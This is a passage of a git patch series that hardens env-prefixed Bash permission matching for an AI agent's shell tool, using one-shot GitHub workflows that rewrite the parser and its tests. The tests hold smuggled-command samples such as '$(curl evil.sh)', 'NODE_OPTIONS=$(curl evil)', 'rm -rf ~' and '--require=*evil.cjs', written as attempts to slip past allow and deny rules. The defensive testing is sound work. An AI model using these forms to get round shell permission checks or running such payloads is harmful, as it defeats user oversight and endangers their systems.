positions = new Set(); +function findAssignmentValueWildcardPositions(pattern: string): { + bounded: Set; + literal: Set; +} { + const bounded = new Set(); + const literal = new Set(); let quote: "'" | '"' | '`' | null = null; let escaped = false; let wordStart = 0; let leadingAssignments = true; + let substitutionDepth = 0; + + const isLeadingAssignmentWildcard = (index: number): boolean => + leadingAssignments && + ENV_ASSIGNMENT_REGEX.test(pattern.slice(wordStart, index)); for (let i = 0; i < pattern.length; i++) { const ch = pattern[i]!; @@ -1322,6 +1344,9 @@ function findUnquotedAssignmentValueWildcardPositions( continue; } if (quote) { + if (ch === '*' && isLeadingAssignmentWildcard(i)) { + literal.add(i); + } if (ch === quote) quote = null; continue; } @@ -1329,6 +1354,24 @@ function findUnquotedAssignmentValueWildcardPositions( quote = ch; continue; } + if ( + (ch === '$' || ch === '<' || ch === '>') && + pattern[i + 1] === '(' + ) { + substitutionDepth++; + i++; + continue; + } + if (substitutionDepth > 0) { + if (ch === '(') { + substitutionDepth++; + } else if (ch === ')') { + substitutionDepth--; + } else if (ch === '*' && isLeadingAssignmentWildcard(i)) { + literal.add(i); + } + continue; + } if (ch === ' ') { if (leadingAssignments) { const word = pattern.slice(wordStart, i); @@ -1339,14 +1382,12 @@ function findUnquotedAssignmentValueWildcardPositions( wordStart = i + 1; continue; } - if (ch === '*' && leadingAssignments) { - const beforeStar = pattern.slice(wordStart, i); - if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { - positions.add(i); - } + if (ch === '*' && isLeadingAssignmentWildcard(i)) { + bounded.add(i); } } - return positions; + + return { bounded, literal }; } function normalizeCommandForPermissionMatch(command: string): string { From 4270b1528deae30f627810ba96a2e86a4aa4cb38 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 16:36:05 +0200 Subject: [PATCH 31/36] chore: remove temporary PR 10212 fixer --- .github/workflows/fix-pr-10212-round4.yml | 101 ---------------------- 1 file changed, 101 deletions(-) delete mode 100644 .github/workflows/fix-pr-10212-round4.yml diff --git a/.github/workflows/fix-pr-10212-round4.yml b/.github/workflows/fix-pr-10212-round4.yml deleted file mode 100644 index c37d92604d2..00000000000 --- a/.github/workflows/fix-pr-10212-round4.yml +++ /dev/null @@ -1,101 +0,0 @@ -name: Apply PR 10212 round-4 fixes - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - -permissions: - contents: write - -jobs: - apply-fix: - if: github.actor != 'github-actions[bot]' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 2 - - - name: Apply reviewed fixes - shell: bash - run: | - python - <<'PY' - from pathlib import Path - import subprocess - import sys - - EXPECTED_PARENT = '463bcd0685f309990eb1a9b7c3fa578a908ea54a' - parent = subprocess.check_output(['git', 'rev-parse', 'HEAD^'], text=True).strip() - if parent != EXPECTED_PARENT: - raise SystemExit(f'unexpected workflow parent {parent}; expected {EXPECTED_PARENT}') - - parser_path = Path('packages/core/src/permissions/rule-parser.ts') - test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - parser = parser_path.read_text(encoding='utf-8') - test = test_path.read_text(encoding='utf-8') - - def replace_once(text: str, old: str, new: str, label: str) -> str: - count = text.count(old) - if count != 1: - raise SystemExit(f'{label}: expected 1 match, found {count}') - return text.replace(old, new, 1) - - parser = replace_once( - parser, - ''' rawSpecifier = rawSpecifier.replace(\n /(^|[ \\t\\n])([^ \\t\\n="\'`=]+):\\*(?=$|[ \\t\\n])/g,\n '$1$2 *',\n );''', - ''' rawSpecifier = rawSpecifier.replace(\n /(^|[ \\t\\n])([^ \\t\\n]+):\\*(?=$|[ \\t\\n])/g,\n (match, leadingWhitespace: string, token: string) =>\n ENV_ASSIGNMENT_REGEX.test(token)\n ? match\n : `${leadingWhitespace}${token} *`,\n );''', - 'legacy colon-star rewrite', - ) - - parser = replace_once( - parser, - ''' specifierKind !== 'literal' &&\n rawSpecifier.includes(':') &&\n !rawSpecifier.startsWith('domain:')''', - ''' specifierKind !== 'literal' &&\n stripLeadingVariableAssignments(rawSpecifier).includes(':') &&\n !rawSpecifier.startsWith('domain:')''', - 'env-prefix key:value warning', - ) - - parser = replace_once( - parser, - ''' const assignmentValueWildcards =\n findUnquotedAssignmentValueWildcardPositions(normalizedPattern);''', - ''' const assignmentValueWildcards =\n findAssignmentValueWildcardPositions(normalizedPattern);''', - 'assignment wildcard scanner call', - ) - - parser = replace_once( - parser, - ''' if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') {\n const literalWithoutTrailingSpace = literalBefore.slice(0, -1);\n regex += escapeRegex(literalWithoutTrailingSpace);\n regex += '( .*)?';\n } else {\n regex += escapeRegex(literalBefore);\n regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';\n }''', - ''' if (assignmentValueWildcards.literal.has(starIdx)) {\n // A wildcard written inside quotes or shell substitution in a leading\n // assignment is shell syntax, not a permission wildcard. Matching it\n // literally prevents the rule from authorizing different executable\n // substitution text.\n regex += escapeRegex(literalBefore);\n regex += '\\\\*';\n } else if (assignmentValueWildcards.bounded.has(starIdx)) {\n // Unquoted assignment-value wildcards may vary, but never consume the\n // next shell word and thereby change the command identity.\n regex += escapeRegex(literalBefore);\n regex += '[^ ]*';\n } else if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') {\n const literalWithoutTrailingSpace = literalBefore.slice(0, -1);\n regex += escapeRegex(literalWithoutTrailingSpace);\n regex += '( .*)?';\n } else {\n regex += escapeRegex(literalBefore);\n regex += '.*';\n }''', - 'assignment wildcard regex handling', - ) - - old_scanner = '''function findUnquotedAssignmentValueWildcardPositions(\n pattern: string,\n): Set {\n const positions = new Set();\n let quote: "'" | '"' | '`' | null = null;\n let escaped = false;\n let wordStart = 0;\n let leadingAssignments = true;\n\n for (let i = 0; i < pattern.length; i++) {\n const ch = pattern[i]!;\n if (escaped) {\n escaped = false;\n continue;\n }\n if (ch === '\\\\' && quote !== "'") {\n escaped = true;\n continue;\n }\n if (quote) {\n if (ch === quote) quote = null;\n continue;\n }\n if (ch === "'" || ch === '"' || ch === '`') {\n quote = ch;\n continue;\n }\n if (ch === ' ') {\n if (leadingAssignments) {\n const word = pattern.slice(wordStart, i);\n if (word && !ENV_ASSIGNMENT_REGEX.test(word)) {\n leadingAssignments = false;\n }\n }\n wordStart = i + 1;\n continue;\n }\n if (ch === '*' && leadingAssignments) {\n const beforeStar = pattern.slice(wordStart, i);\n if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) {\n positions.add(i);\n }\n }\n }\n return positions;\n}\n''' - - new_scanner = '''function findAssignmentValueWildcardPositions(pattern: string): {\n bounded: Set;\n literal: Set;\n} {\n const bounded = new Set();\n const literal = new Set();\n let quote: "'" | '"' | '`' | null = null;\n let escaped = false;\n let wordStart = 0;\n let leadingAssignments = true;\n let substitutionDepth = 0;\n\n const isLeadingAssignmentWildcard = (index: number): boolean =>\n leadingAssignments &&\n ENV_ASSIGNMENT_REGEX.test(pattern.slice(wordStart, index));\n\n for (let i = 0; i < pattern.length; i++) {\n const ch = pattern[i]!;\n if (escaped) {\n escaped = false;\n continue;\n }\n if (ch === '\\\\' && quote !== "'") {\n escaped = true;\n continue;\n }\n if (quote) {\n if (ch === '*' && isLeadingAssignmentWildcard(i)) {\n literal.add(i);\n }\n if (ch === quote) quote = null;\n continue;\n }\n if (ch === "'" || ch === '"' || ch === '`') {\n quote = ch;\n continue;\n }\n if (\n (ch === '$' || ch === '<' || ch === '>') &&\n pattern[i + 1] === '('\n ) {\n substitutionDepth++;\n i++;\n continue;\n }\n if (substitutionDepth > 0) {\n if (ch === '(') {\n substitutionDepth++;\n } else if (ch === ')') {\n substitutionDepth--;\n } else if (ch === '*' && isLeadingAssignmentWildcard(i)) {\n literal.add(i);\n }\n continue;\n }\n if (ch === ' ') {\n if (leadingAssignments) {\n const word = pattern.slice(wordStart, i);\n if (word && !ENV_ASSIGNMENT_REGEX.test(word)) {\n leadingAssignments = false;\n }\n }\n wordStart = i + 1;\n continue;\n }\n if (ch === '*' && isLeadingAssignmentWildcard(i)) {\n bounded.add(i);\n }\n }\n\n return { bounded, literal };\n}\n''' - parser = replace_once(parser, old_scanner, new_scanner, 'assignment wildcard scanner') - - test_anchor = ''' it('does not treat non-IFS whitespace as Bash word boundaries', () => {\n''' - new_tests = ''' it('does not let quoted env wildcards cross shell-word boundaries', () => {\n expect(\n matchesCommandPattern(\n 'FOO="*" npm *',\n 'FOO="x" npm" npm install evil"',\n ),\n ).toBe(false);\n expect(\n matchesCommandPattern('FOO="*" npm *', 'FOO="*" npm install'),\n ).toBe(true);\n });\n\n it('does not generalize wildcards inside env command substitutions', () => {\n expect(\n matchesCommandPattern(\n 'FILES=$(ls *.txt) npm run *',\n 'FILES=$(ls $(curl evil.sh).txt) npm run build',\n ),\n ).toBe(false);\n expect(\n matchesCommandPattern(\n 'FILES=$(ls *.txt) npm run *',\n 'FILES=$(ls *.txt) npm run build',\n ),\n ).toBe(true);\n });\n\n''' - if new_tests not in test: - test = replace_once(test, test_anchor, new_tests + test_anchor, 'round-4 wildcard tests') - - colon_anchor = ''' expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe(\n 'FOO=a:* npm install',\n );\n''' - colon_tests = colon_anchor + ''' expect(parseRule('Bash(npm --registry=https://x:*)').specifier).toBe(\n 'npm --registry=https://x *',\n );\n expect(parseRule("Bash(FOO='a:*' npm)").specifier).toBe("FOO='a:*' npm");\n expect(parseRule('Bash(FOO="a:*" npm)').specifier).toBe(\n 'FOO="a:*" npm',\n );\n expect(parseRule('Bash(FOO=`a:*` npm)').specifier).toBe(\n 'FOO=`a:*` npm',\n );\n''' - test = replace_once(test, colon_anchor, colon_tests, 'colon-star regression tests') - - parser_path.write_text(parser, encoding='utf-8') - test_path.write_text(test, encoding='utf-8') - PY - - git diff --check - git diff -- packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - - - name: Commit and push fixes - shell: bash - run: | - git config user.name 'github-actions[bot]' - git config user.email '41898282+github-actions[bot]@users.noreply.github.com' - git add packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - git commit -m 'fix(core): harden env-prefix wildcard permission matching' - git push origin HEAD:fix/10197-env-prefix-bash-rules From 521db60050cf3a6974a29952b71f59bbe6650cb2 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 20:38:03 +0200 Subject: [PATCH 32/36] chore: apply PR 10212 matcher hardening --- .github/workflows/fix-pr-10212-r6.yml | 507 ++++++++++++++++++++++++++ 1 file changed, 507 insertions(+) create mode 100644 .github/workflows/fix-pr-10212-r6.yml diff --git a/.github/workflows/fix-pr-10212-r6.yml b/.github/workflows/fix-pr-10212-r6.yml new file mode 100644 index 00000000000..82132f83a43 --- /dev/null +++ b/.github/workflows/fix-pr-10212-r6.yml @@ -0,0 +1,507 @@ +name: Apply PR 10212 matcher hardening + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/fix-pr-10212-r6.yml + +permissions: + contents: write + +jobs: + patch: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + + - name: Apply source and regression fixes + shell: bash + run: | + python3 <<'PY' + from pathlib import Path + import re + + rule_path = Path('packages/core/src/permissions/rule-parser.ts') + text = rule_path.read_text() + + text = text.replace("import { parse } from 'shell-quote';\n", '') + + old_legacy = ''' if (specifierKind === 'command') { + // Legacy `:*` is token syntax; never rewrite env assignment values. + rawSpecifier = rawSpecifier.replace( + /(^|[ \\t\\n])([^ \\t\\n]+):\\*(?=$|[ \\t\\n])/g, + (match, leadingWhitespace: string, token: string) => + ENV_ASSIGNMENT_REGEX.test(token) + ? match + : `${leadingWhitespace}${token} *`, + ); + } +''' + new_legacy = ''' if (specifierKind === 'command') { + // Legacy `:*` is command-token syntax. Keep it out of leading + // environment-assignment values, where `:*` is ordinary value text. + rawSpecifier = rewriteLegacyCommandColonStar(rawSpecifier); + } +''' + if old_legacy not in text: + raise SystemExit('legacy colon-star block not found') + text = text.replace(old_legacy, new_legacy, 1) + + start = text.index('export function matchesCommandPattern(\n') + end = text.index('/**\n * Match a glob pattern against a value', start) + new_matcher = r'''export function matchesCommandPattern( + pattern: string, + command: string, +): boolean { + // Parse shell words first so permission wildcards can never cross a Bash + // word boundary. This is especially important for leading NAME=value + // assignments: a value pattern must not consume the real command word. + const patternWords = splitPermissionShellWords(pattern); + const commandWords = splitPermissionShellWords(command); + if (patternWords === null || commandWords === null) { + return false; + } + + const normalizedPattern = patternWords.join(' '); + const normalizedCommand = commandWords.join(' '); + + // The lone catch-all is intentionally global. + if (normalizedPattern === '*') { + return true; + } + + const patternAssignmentCount = countLeadingVariableAssignments(patternWords); + const commandAssignmentCount = countLeadingVariableAssignments(commandWords); + + if (patternAssignmentCount > 0 || commandAssignmentCount > 0) { + // An unprefixed rule never inherits an env-prefixed execution identity, + // and an env-prefixed allow never silently accepts extra assignments. + if (patternAssignmentCount !== commandAssignmentCount) { + return false; + } + + // Assignment words are identity, not permission-glob syntax. In + // particular, `FOO=*` matches the literal assignment `FOO=*`; it cannot + // absorb another value, executable substitution, escaped whitespace, or + // the following command word. Wildcards remain available in the command + // portion after the assignments. + for (let i = 0; i < patternAssignmentCount; i++) { + if (patternWords[i] !== commandWords[i]) { + return false; + } + } + + const patternCommand = patternWords.slice(patternAssignmentCount).join(' '); + const commandCommand = commandWords.slice(commandAssignmentCount).join(' '); + if (!patternCommand || !commandCommand) { + return patternCommand === commandCommand; + } + return matchesLegacyCommandPattern(patternCommand, commandCommand); + } + + return matchesLegacyCommandPattern(normalizedPattern, normalizedCommand); +} + +function matchesLegacyCommandPattern(pattern: string, command: string): boolean { + if (pattern === '*') { + return true; + } + + if (!pattern.includes('*')) { + return command === pattern || command.startsWith(pattern + ' '); + } + + let regex = '^'; + let pos = 0; + while (pos < pattern.length) { + const starIdx = pattern.indexOf('*', pos); + if (starIdx === -1) { + regex += escapeRegex(pattern.substring(pos)); + break; + } + + const literalBefore = pattern.substring(pos, starIdx); + if (starIdx > 0 && pattern[starIdx - 1] === ' ') { + regex += escapeRegex(literalBefore.slice(0, -1)); + regex += '( .*)?'; + } else { + regex += escapeRegex(literalBefore); + regex += '.*'; + } + pos = starIdx + 1; + } + regex += '$'; + + try { + return new RegExp(regex, 's').test(command); + } catch { + return command === pattern; + } +} + +''' + text = text[:start] + new_matcher + text[end:] + + helper_start = text.index('export const ENV_ASSIGNMENT_REGEX = ') + helper_end = text.index('// ─────────────────────────────────────────────────────────────────────────────\n// File path matching', helper_start) + new_helpers = r'''export const ENV_ASSIGNMENT_REGEX = + /^[A-Za-z_][A-Za-z0-9_]*(?:\[[^\]]*\])?\+?=/; + +function isShellIfsWhitespace(ch: string): boolean { + return ch === ' ' || ch === '\t' || ch === '\n'; +} + +/** + * Split a simple Bash command into shell words while preserving the original + * spelling of each word. Only Bash IFS whitespace separates words here; + * quoted text, escaped whitespace, and command/process substitutions remain + * inside their containing word. An unquoted `#` at the start of a word starts + * a comment and removes the rest of the input from the permission identity. + * + * This deliberately does not try to execute expansions. Permission matching + * needs stable word boundaries, not the expanded runtime values. + */ +function splitPermissionShellWords(input: string): string[] | null { + const words: string[] = []; + let current = ''; + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let substitutionDepth = 0; + + const pushWord = () => { + if (current) { + words.push(current); + current = ''; + } + }; + + for (let i = 0; i < input.length; i++) { + const ch = input[i]!; + + if (escaped) { + current += ch; + escaped = false; + continue; + } + + if (quote !== null) { + current += ch; + if (ch === '\\' && quote !== "'") { + escaped = true; + } else if (ch === quote) { + quote = null; + } + continue; + } + + if (substitutionDepth > 0) { + current += ch; + if (ch === '\\') { + escaped = true; + } else if (ch === "'" || ch === '"' || ch === '`') { + quote = ch; + } else if (ch === '(') { + substitutionDepth++; + } else if (ch === ')') { + substitutionDepth--; + } + continue; + } + + if (ch === '\\') { + current += ch; + escaped = true; + continue; + } + + if (ch === "'" || ch === '"' || ch === '`') { + current += ch; + quote = ch; + continue; + } + + if ( + (ch === '$' || ch === '<' || ch === '>') && + input[i + 1] === '(' + ) { + current += `${ch}(`; + substitutionDepth = 1; + i++; + continue; + } + + if (isShellIfsWhitespace(ch)) { + pushWord(); + continue; + } + + if (ch === '#' && current === '') { + break; + } + + current += ch; + } + + if (escaped || quote !== null || substitutionDepth !== 0) { + return null; + } + + pushWord(); + return words; +} + +function countLeadingVariableAssignments(words: readonly string[]): number { + let count = 0; + while (count < words.length && ENV_ASSIGNMENT_REGEX.test(words[count]!)) { + count++; + } + return count; +} + +/** + * Return a shell command with only leading Bash assignment words removed. + * Restrictive deny/ask matching uses this legacy command identity in addition + * to the full env-prefixed identity so allow hardening can never weaken a + * restriction. + */ +export function stripLeadingVariableAssignments(command: string): string { + const words = splitPermissionShellWords(command); + if (words === null) { + return command; + } + const firstCommandWord = countLeadingVariableAssignments(words); + return words.slice(firstCommandWord).join(' '); +} + +/** + * Convert deprecated command-token `:*` syntax to ` *`, but never rewrite + * text inside a leading environment assignment word. + */ +function rewriteLegacyCommandColonStar(specifier: string): string { + const words = splitPermissionShellWords(specifier); + if (words === null) { + return specifier; + } + return words + .map((word, index) => { + if ( + index < countLeadingVariableAssignments(words) && + ENV_ASSIGNMENT_REGEX.test(word) + ) { + return word; + } + return word.replace(/:\*/g, ' *'); + }) + .join(' '); +} + +''' + text = text[:helper_start] + new_helpers + text[helper_end:] + rule_path.write_text(text) + + pm_path = Path('packages/core/src/permissions/permission-manager.ts') + pm = pm_path.read_text() + marker = '''const DECISION_PRIORITY: Readonly> = { + deny: 3, + ask: 2, + default: 1, + allow: 0, +}; +''' + helper = marker + '''\n/** + * Restrictive shell rules are evaluated against both the full execution + * identity and the legacy command identity. Strip leading assignments from + * the rule as well as the command for the latter so adding/changing an env + * prefix can never weaken an explicit deny or ask rule. + */ +function getRestrictiveRuleForLegacyShellIdentity( + rule: PermissionRule, +): PermissionRule { + if (rule.specifierKind !== 'command' || !rule.specifier) { + return rule; + } + const strippedSpecifier = stripLeadingVariableAssignments(rule.specifier); + return strippedSpecifier === rule.specifier + ? rule + : { ...rule, specifier: strippedSpecifier }; +} +''' + if marker not in pm: + raise SystemExit('permission-manager insertion marker not found') + pm = pm.replace(marker, helper, 1) + needle = "matchesRule(rule, ...restrictiveMatchArgs, 'canonical')" + count = pm.count(needle) + if count < 4: + raise SystemExit(f'expected restrictive match sites, found {count}') + pm = pm.replace( + needle, + "matchesRule(\n getRestrictiveRuleForLegacyShellIdentity(rule),\n ...restrictiveMatchArgs,\n 'canonical',\n )", + ) + pm_path.write_text(pm) + + test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + tests = test_path.read_text() + old_glob = ''' it('keeps glob-valued env assignments intact instead of normalizing them to glob', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect(matchesCommandPattern('FOO=? npm', 'FOO=? npm')).toBe(true); + }); +''' + new_glob = ''' it('treats wildcard characters inside env assignments as literal identity', () => { + expect( + matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=* npm --version'), + ).toBe(true); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect(matchesCommandPattern('FOO=? npm', 'FOO=? npm')).toBe(true); + }); +''' + if old_glob not in tests: + raise SystemExit('env glob test block not found') + tests = tests.replace(old_glob, new_glob, 1) + + old_r3 = ''' it('keeps env-value wildcards inside the assignment shell word', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh -c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + }); +''' + new_r3 = ''' it('never lets env-value wildcard text consume another assignment value', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh -c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(false); + expect( + matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=* npm --version'), + ).toBe(true); + }); +''' + if old_r3 not in tests: + raise SystemExit('R3 env wildcard block not found') + tests = tests.replace(old_r3, new_r3, 1) + + colon_anchor = ''' expect(parseRule('Bash(npm --registry=https://x:*)').specifier).toBe( + 'npm --registry=https://x *', + ); +''' + colon_extra = colon_anchor + ''' expect(parseRule('Bash(curl:*.evil.com)').specifier).toBe( + 'curl *.evil.com', + ); +''' + if colon_anchor not in tests: + raise SystemExit('colon-star assertion anchor not found') + tests = tests.replace(colon_anchor, colon_extra, 1) + + final_marker = ''' it('round-trips colon-star env values through generated rules', async () => { + const command = 'FOO=a:* npm install'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['FOO=a:* npm install']); + expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); +''' + r5_tests = final_marker + '''\n it('keeps permission wildcards from changing the Bash command word', () => { + expect( + matchesCommandPattern('FOO=* ls *', 'FOO=x\\\\ ls curl evil'), + ).toBe(false); + expect(matchesCommandPattern('git*', 'gitFOO=1 sh payload')).toBe(false); + expect( + matchesCommandPattern( + 'FOO=\\\\* npm install', + 'FOO=\\\\x rm -rf ~ npm install', + ), + ).toBe(false); + expect(matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls')).toBe(false); + }); + + it('keeps restrictive env-prefixed rules fail-closed after normalization', async () => { + const commentPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(FOO=* npm test)']), + ); + commentPm.initialize(); + await expect( + commentPm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=1 npm test # comment', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const substitutionPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(NODE_OPTIONS=$(*) node)']), + ); + substitutionPm.initialize(); + await expect( + substitutionPm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=$(curl evil) node', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); +''' + if final_marker not in tests: + raise SystemExit('final test anchor not found') + tests = tests.replace(final_marker, r5_tests, 1) + test_path.write_text(tests) + PY + + - name: Remove one-shot workflow and commit + shell: bash + run: | + rm -f .github/workflows/fix-pr-10212-r6.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + .github/workflows/fix-pr-10212-r6.yml + git diff --cached --check + git commit -m "fix(permissions): harden env-prefixed Bash word matching" + git push origin HEAD:fix/10197-env-prefix-bash-rules From e4c49dcb15bd3a2b61e44b22e21da91f79bd79b3 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 20:38:53 +0200 Subject: [PATCH 33/36] chore: remove temporary PR 10212 fixer --- .github/workflows/fix-pr-10212-r6.yml | 507 -------------------------- 1 file changed, 507 deletions(-) delete mode 100644 .github/workflows/fix-pr-10212-r6.yml diff --git a/.github/workflows/fix-pr-10212-r6.yml b/.github/workflows/fix-pr-10212-r6.yml deleted file mode 100644 index 82132f83a43..00000000000 --- a/.github/workflows/fix-pr-10212-r6.yml +++ /dev/null @@ -1,507 +0,0 @@ -name: Apply PR 10212 matcher hardening - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/fix-pr-10212-r6.yml - -permissions: - contents: write - -jobs: - patch: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 - - - name: Apply source and regression fixes - shell: bash - run: | - python3 <<'PY' - from pathlib import Path - import re - - rule_path = Path('packages/core/src/permissions/rule-parser.ts') - text = rule_path.read_text() - - text = text.replace("import { parse } from 'shell-quote';\n", '') - - old_legacy = ''' if (specifierKind === 'command') { - // Legacy `:*` is token syntax; never rewrite env assignment values. - rawSpecifier = rawSpecifier.replace( - /(^|[ \\t\\n])([^ \\t\\n]+):\\*(?=$|[ \\t\\n])/g, - (match, leadingWhitespace: string, token: string) => - ENV_ASSIGNMENT_REGEX.test(token) - ? match - : `${leadingWhitespace}${token} *`, - ); - } -''' - new_legacy = ''' if (specifierKind === 'command') { - // Legacy `:*` is command-token syntax. Keep it out of leading - // environment-assignment values, where `:*` is ordinary value text. - rawSpecifier = rewriteLegacyCommandColonStar(rawSpecifier); - } -''' - if old_legacy not in text: - raise SystemExit('legacy colon-star block not found') - text = text.replace(old_legacy, new_legacy, 1) - - start = text.index('export function matchesCommandPattern(\n') - end = text.index('/**\n * Match a glob pattern against a value', start) - new_matcher = r'''export function matchesCommandPattern( - pattern: string, - command: string, -): boolean { - // Parse shell words first so permission wildcards can never cross a Bash - // word boundary. This is especially important for leading NAME=value - // assignments: a value pattern must not consume the real command word. - const patternWords = splitPermissionShellWords(pattern); - const commandWords = splitPermissionShellWords(command); - if (patternWords === null || commandWords === null) { - return false; - } - - const normalizedPattern = patternWords.join(' '); - const normalizedCommand = commandWords.join(' '); - - // The lone catch-all is intentionally global. - if (normalizedPattern === '*') { - return true; - } - - const patternAssignmentCount = countLeadingVariableAssignments(patternWords); - const commandAssignmentCount = countLeadingVariableAssignments(commandWords); - - if (patternAssignmentCount > 0 || commandAssignmentCount > 0) { - // An unprefixed rule never inherits an env-prefixed execution identity, - // and an env-prefixed allow never silently accepts extra assignments. - if (patternAssignmentCount !== commandAssignmentCount) { - return false; - } - - // Assignment words are identity, not permission-glob syntax. In - // particular, `FOO=*` matches the literal assignment `FOO=*`; it cannot - // absorb another value, executable substitution, escaped whitespace, or - // the following command word. Wildcards remain available in the command - // portion after the assignments. - for (let i = 0; i < patternAssignmentCount; i++) { - if (patternWords[i] !== commandWords[i]) { - return false; - } - } - - const patternCommand = patternWords.slice(patternAssignmentCount).join(' '); - const commandCommand = commandWords.slice(commandAssignmentCount).join(' '); - if (!patternCommand || !commandCommand) { - return patternCommand === commandCommand; - } - return matchesLegacyCommandPattern(patternCommand, commandCommand); - } - - return matchesLegacyCommandPattern(normalizedPattern, normalizedCommand); -} - -function matchesLegacyCommandPattern(pattern: string, command: string): boolean { - if (pattern === '*') { - return true; - } - - if (!pattern.includes('*')) { - return command === pattern || command.startsWith(pattern + ' '); - } - - let regex = '^'; - let pos = 0; - while (pos < pattern.length) { - const starIdx = pattern.indexOf('*', pos); - if (starIdx === -1) { - regex += escapeRegex(pattern.substring(pos)); - break; - } - - const literalBefore = pattern.substring(pos, starIdx); - if (starIdx > 0 && pattern[starIdx - 1] === ' ') { - regex += escapeRegex(literalBefore.slice(0, -1)); - regex += '( .*)?'; - } else { - regex += escapeRegex(literalBefore); - regex += '.*'; - } - pos = starIdx + 1; - } - regex += '$'; - - try { - return new RegExp(regex, 's').test(command); - } catch { - return command === pattern; - } -} - -''' - text = text[:start] + new_matcher + text[end:] - - helper_start = text.index('export const ENV_ASSIGNMENT_REGEX = ') - helper_end = text.index('// ─────────────────────────────────────────────────────────────────────────────\n// File path matching', helper_start) - new_helpers = r'''export const ENV_ASSIGNMENT_REGEX = - /^[A-Za-z_][A-Za-z0-9_]*(?:\[[^\]]*\])?\+?=/; - -function isShellIfsWhitespace(ch: string): boolean { - return ch === ' ' || ch === '\t' || ch === '\n'; -} - -/** - * Split a simple Bash command into shell words while preserving the original - * spelling of each word. Only Bash IFS whitespace separates words here; - * quoted text, escaped whitespace, and command/process substitutions remain - * inside their containing word. An unquoted `#` at the start of a word starts - * a comment and removes the rest of the input from the permission identity. - * - * This deliberately does not try to execute expansions. Permission matching - * needs stable word boundaries, not the expanded runtime values. - */ -function splitPermissionShellWords(input: string): string[] | null { - const words: string[] = []; - let current = ''; - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let substitutionDepth = 0; - - const pushWord = () => { - if (current) { - words.push(current); - current = ''; - } - }; - - for (let i = 0; i < input.length; i++) { - const ch = input[i]!; - - if (escaped) { - current += ch; - escaped = false; - continue; - } - - if (quote !== null) { - current += ch; - if (ch === '\\' && quote !== "'") { - escaped = true; - } else if (ch === quote) { - quote = null; - } - continue; - } - - if (substitutionDepth > 0) { - current += ch; - if (ch === '\\') { - escaped = true; - } else if (ch === "'" || ch === '"' || ch === '`') { - quote = ch; - } else if (ch === '(') { - substitutionDepth++; - } else if (ch === ')') { - substitutionDepth--; - } - continue; - } - - if (ch === '\\') { - current += ch; - escaped = true; - continue; - } - - if (ch === "'" || ch === '"' || ch === '`') { - current += ch; - quote = ch; - continue; - } - - if ( - (ch === '$' || ch === '<' || ch === '>') && - input[i + 1] === '(' - ) { - current += `${ch}(`; - substitutionDepth = 1; - 